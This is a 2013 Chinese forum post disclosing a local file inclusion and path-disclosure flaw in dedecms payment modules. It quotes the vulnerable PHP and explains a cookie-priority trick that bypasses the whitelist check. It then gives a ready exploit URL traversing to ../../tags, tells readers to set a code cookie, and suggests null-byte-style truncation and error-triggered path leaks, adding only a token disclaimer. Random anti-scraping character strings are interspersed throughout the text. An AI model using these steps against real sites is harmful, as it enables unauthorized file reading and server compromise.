找回密码
 立即注册
查看: 2670|回复: 0
打印 上一主题 下一主题

dedecms本地文件包含及物理路径泄露0day

[复制链接]
跳转到指定楼层
楼主
发表于 2013-4-4 17:25:17 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
晚餐吃撑了,瞄下代码消化消化。最近Php0day群里的兄弟都在讨论dede洞多,赶紧下了套,用editplus搜索了几个关键字,果然发现些问题。(话说平时写代码也喜欢用editplus,小巧方便多年习惯)6 J  n$ a3 d, q9 B

; g% G3 f3 q* B- d8 E2 o9 r出现漏洞的两个文件为:
7 a( a1 `0 K6 s3 g: a. b  nInclude/payment/alipay.php# s: w( O9 E5 p/ g# a9 _" z2 b
Include/payment/yeepay.php
9 R  p; V" [1 W6 k# H漏洞均出现在respond方法里,估计这两个文件是临时工写的。6 t+ `6 M8 Z  k% P5 ]- Z
, Z5 Z+ r8 \# J7 f0 w1 K
Include/payment/alipay.php& H: f$ p: P% e. J6 p
4 w; Z: }) q3 C1 w9 ]8 ?
......  _+ p* \0 \4 G% h
   function respond()6 G7 g1 L0 ]5 f# r
    {  t) ]$ o; v3 |6 m
        if (!empty($_POST))5 m: \0 f: A" w
        {% s/ N; f) B' k$ O1 q: U7 g& c7 u
            foreach($_POST as $key => $data)
5 I. t# Z8 b, }5 z3 W0 E4 p* w            {, A$ s7 Q! g+ R1 D: Y! K
                $_GET[$key] = $data;
2 _3 B( G8 ^0 w2 C9 F            }5 o0 K* e8 s, Q( B, b1 G' X1 O' d
        }( I: p8 ~0 N7 t/ {+ U
        /* 引入配置文件 */
; t; ]1 R4 W6 q5 s0 m        require_once DEDEDATA.'/payment/'.$_GET['code'].'.php';
( V& V+ o! J; Q6 q1 K% i0 ~...... 4 I% }5 w' |' Z8 H% H! ^4 a

7 S' v7 V4 y' L- z# P5 K
7 @- o* i* V4 U7 g大概在133行左右,$_GET[‘code’]没有经过任何判断和过滤。
0 P& i) h* n' `' Z. u
  g" u: D, x3 x, L( j4 ]Include/payment/yeepay.php  P$ r7 q" Q; T( r. L% V

- @5 ]; N- e, l4 _
( D5 n  q( s8 W
( ~! l9 E! @& ]$ X+ ^......3 k+ W, P) R* j
    function respond()
9 Z! z3 }- l( @5 s( J    {
. e8 b3 S! R9 Z7 R4 Z' y" X2 p! n( H7 H# c , E9 x- p: {: u3 Y0 ~! ]+ R
        /* 引入配置文件 */
$ x5 Y, F  U  U1 X        require_once DEDEDATA.'/payment/'.$_REQUEST['code'].'.php';
; K8 `1 d0 @* Q$ N
7 m4 R. v! O  j) ~        $p1_MerId = trim($payment['yp_account']);$ A( d& O: u0 q/ B; I
        $merchantKey = trim($payment['yp_key']);- L5 L4 C: B9 V+ `4 z5 e9 r( x
......
8 G; e* h1 y% L. ]* Y6 w$ @
9 v5 Y" C# h: g6 U& b9 H$ Z
  h& a, `5 U9 A8 b0 j- @' i5 v
) G/ d5 t" D& b: ?% B' H/ b. ]1 B. o
大概在145行左右,$_REQUEST['code']没有经过任何判断和过滤。! y" m7 @' ^) ~
2 H8 C3 C7 t; H, u1 s; _
这两个方法在plus/carbuyaction.php文件调用。! [5 M6 c( Y" z0 a" G
& y  x! Q& W) \" s
plus/carbuyaction.php
$ y% H8 ]9 `6 l/ Y! x; ^  ]/ u! d/ L! n* A
......
' S# d  H' q, }) y6 D' S* B} else if ($dopost == 'return') {. N" C! a' A, G# J+ s, N
    $write_list = array('alipay', 'bank', 'cod', 'yeepay');
) t: ?/ X/ G, f+ t    if (in_array($code, $write_list))
" p& V( O1 @$ C" T    {" F7 k, _! B3 u
        require_once DEDEINC.'/payment/'.$code.'.php';- f$ Z" _" F. ]. O" C7 H2 K7 b
        $pay = new $code;! x. G5 r( _. C9 D! T
        $msg=$pay->respond();
! O2 H0 }3 I6 D4 `. i2 @& R2 P        ShowMsg($msg, "javascript:;", 0, 3000);
6 u. o- C3 Y4 C% H  A% k' R" J        exit();  , y7 u+ A. @$ S3 Y) T2 I4 S. a
    } else {
' I+ s$ A( Z* p4 E        exit('Error:File Type Can\'t Recognized!');
! P( D1 u: O) C( i& R6 n4 \    }
  m2 j, i. F4 l( r- V. B5 S6 ?}
# y7 ~3 y9 z7 g$ v: n8 g; L...... & v8 d6 }0 {0 D5 I
; `7 o: S, H. g1 Y$ {
# ^: O9 r6 S$ f9 z/ C
" o; N9 q. n: ?) O  Z
0 C* ?) S. s9 ~! w% R

  n7 B9 k) O- m/ ]! Q# S+ H: G/ s: T1 t; Q9 t6 `8 ^- i
大概在334行,当$dopost等于return的时候就开始进入过程了。熟悉dedecms朋友都知道在include/common.inc.php使用了一种类似register_globals的机制。
9 P1 y* M/ ]2 ^$ f5 X所以$_GET['code']或$_REQUEST['code']会变成$code,而$code是经过判断的,值必须在$write_list数组以内这样才能继续后面的流程调用respond方法触发漏洞。这样的话貌似就无法控制$_GET['code']为任意值了。
9 Q: L2 b, x/ u: K8 j; J9 e  I( x# Y$ l2 R  k+ M9 N
回到include/common.inc.php来看看他的机制。" W1 o9 K- f. u/ A+ g, }0 B( Y; Q! r

6 }" n6 y9 q$ s/ M 1 J& T' T* ^; F4 K$ C

# Y9 F; f! y/ A......
0 f$ E3 Z: e; t& jforeach(Array('_GET','_POST','_COOKIE') as $_request)- m( q) S7 n; C8 ~$ G
{
- i1 M3 U, r+ j3 d        foreach($$_request as $_k => $_v)
' f4 D% n8 ^% T2 h2 Z" [; j        {
; ?; u8 n; o, k9 ^$ O$ h                if($_k == 'nvarname') ${$_k} = $_v;  o6 p9 @) {3 s6 h1 G4 }" J
                else ${$_k} = _RunMagicQuotes($_v);
" J4 i; E8 F5 S+ Z3 h        }
7 ~6 P& [4 o+ q}
8 o% b+ ~  q* t......
' r9 `! `# v; Y1 s/ K大概在79行,可以看到他是从$_GET,$_POST,$_COOKIE这三个全局变量里取值的。嘿嘿,细心点就发现了吧。从他这个优先机制来讲他是先从get再从post再从cookie也就是说最终$code会是以$_COOKIE[‘code’]的值为准,而我们要控制的是$_GET[‘code’]或$_REQUEST['code']只须要$code的值在$write_list数组以内就行了。Exp:http://www.php0day.com/plus/carb ... amp;code=../../tags上面的Exp是包含根目录下的tags.php文件包含其他后缀请自行构造截断,使用exp测试时须要自己添加一个code等于alipay或yeepay的cookie。暴路径:
7 z5 S' |) P4 N: S" A由于bank和cod这两个文件并没有respond方法,所以如果code等于bank或者cod时将会暴错泄露路径。注:请勿非法测试,产生后果与本人无关。
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表